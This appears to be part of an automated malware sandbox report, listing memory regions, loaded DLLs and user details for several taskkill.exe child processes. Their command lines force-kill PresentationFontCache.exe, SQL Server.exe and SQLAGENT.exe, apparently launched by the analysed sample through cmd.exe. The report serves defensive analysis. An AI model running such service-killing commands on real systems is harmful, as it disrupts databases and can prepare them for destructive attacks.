  • Region Actions
private_0x0000000001e70000 0x01e70000 0x01f6ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001fb0000 0x01fb0000 0x01feffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001ff0000 0x01ff0000 0x0202ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002050000 0x02050000 0x0208ffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x02090000 0x0235efff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000023d0000 0x023d0000 0x0240ffff Private Memory Readable, Writable True False False
  • Region Actions
fastprox.dll 0x6a480000 0x6a515fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a520000 0x6a60afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdsapi.dll 0x6a7d0000 0x6a7e7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a7f0000 0x6a7fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a800000 0x6a828fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a830000 0x6a88bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a890000 0x6a899fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a8a0000 0x6a8d4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a8e0000 0x6a8eefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x6a8f0000 0x6a8f8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a900000 0x6a910fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x73e30000 0x73e3cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #31: taskkill.exe
+
Information Value
ID #31
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:30, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:05
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0xa78
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A74
0x A7C
0x A80
0x A84
0x A70
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00080000 0x00083fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000090000 0x00090000 0x00090fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000a0000 0x000a0000 0x000a0fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000000b0000 0x000b0000 0x000b0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000000c0000 0x000c0000 0x000c0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000000d0000 0x000d0000 0x0010ffff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x00110000 0x00176fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000180000 0x00180000 0x001bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000001d0000 0x001d0000 0x0020ffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x00210000 0x002cffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000002f0000 0x002f0000 0x0032ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000330000 0x00330000 0x0033ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000380000 0x00380000 0x003bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000003c0000 0x003c0000 0x0043ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000440000 0x00440000 0x005c7fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000005f0000 0x005f0000 0x006effff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000006f0000 0x006f0000 0x00870fff Pagefile Backed Memory Readable True False False
  • Region Actions
taskkill.exe 0x00880000 0x00895fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x00000000008a0000 0x008a0000 0x01c9ffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001cf0000 0x01cf0000 0x01d2ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001d90000 0x01d90000 0x01dcffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001dd0000 0x01dd0000 0x01e0ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001e10000 0x01e10000 0x01f0ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001f40000 0x01f40000 0x01f7ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001f90000 0x01f90000 0x01fcffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001ff0000 0x01ff0000 0x0202ffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x02030000 0x022fefff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000023c0000 0x023c0000 0x023fffff Private Memory Readable, Writable True False False
  • Region Actions
ntdsapi.dll 0x6a4c0000 0x6a4d7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
fastprox.dll 0x6a4e0000 0x6a575fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a580000 0x6a5a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a5b0000 0x6a60bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a710000 0x6a71efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a720000 0x6a729fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a7b0000 0x6a89afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a8a0000 0x6a8aefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a8b0000 0x6a8c0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x6a8d0000 0x6a8dcfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a8e0000 0x6a914fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x73e30000 0x73e38fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #32: taskkill.exe
+
Information Value
ID #32
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM SQL Server.exe /IM SQL Server.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:31, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:04
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0xa9c
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A48
0x A54
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00080000 0x00083fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000090000 0x00090000 0x00090fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000a0000 0x000a0000 0x000a0fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000000b0000 0x000b0000 0x000b0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000000c0000 0x000c0000 0x000c0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000000d0000 0x000d0000 0x0010ffff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x00110000 0x00176fff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000001c0000 0x001c0000 0x001fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000210000 0x00210000 0x0024ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000002b0000 0x002b0000 0x0032ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000003e0000 0x003e0000 0x004dffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000004e0000 0x004e0000 0x00667fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000670000 0x00670000 0x0067ffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x00680000 0x0073ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000780000 0x00780000 0x007bffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x007c0000 0x007d5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x00000000007e0000 0x007e0000 0x00960fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000970000 0x00970000 0x01d6ffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001d90000 0x01d90000 0x01dcffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001dd0000 0x01dd0000 0x01ecffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001ed0000 0x01ed0000 0x01f0ffff Private Memory Readable, Writable True False False
  • Region Actions
dbghelp.dll 0x6a520000 0x6a60afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a800000 0x6a828fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a830000 0x6a88bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a890000 0x6a899fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a8a0000 0x6a8d4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a8e0000 0x6a8eefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x6a8f0000 0x6a8f8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a900000 0x6a910fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x73e30000 0x73e3cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #33: taskkill.exe
+
Information Value
ID #33
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:31, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:04
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0xa44
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
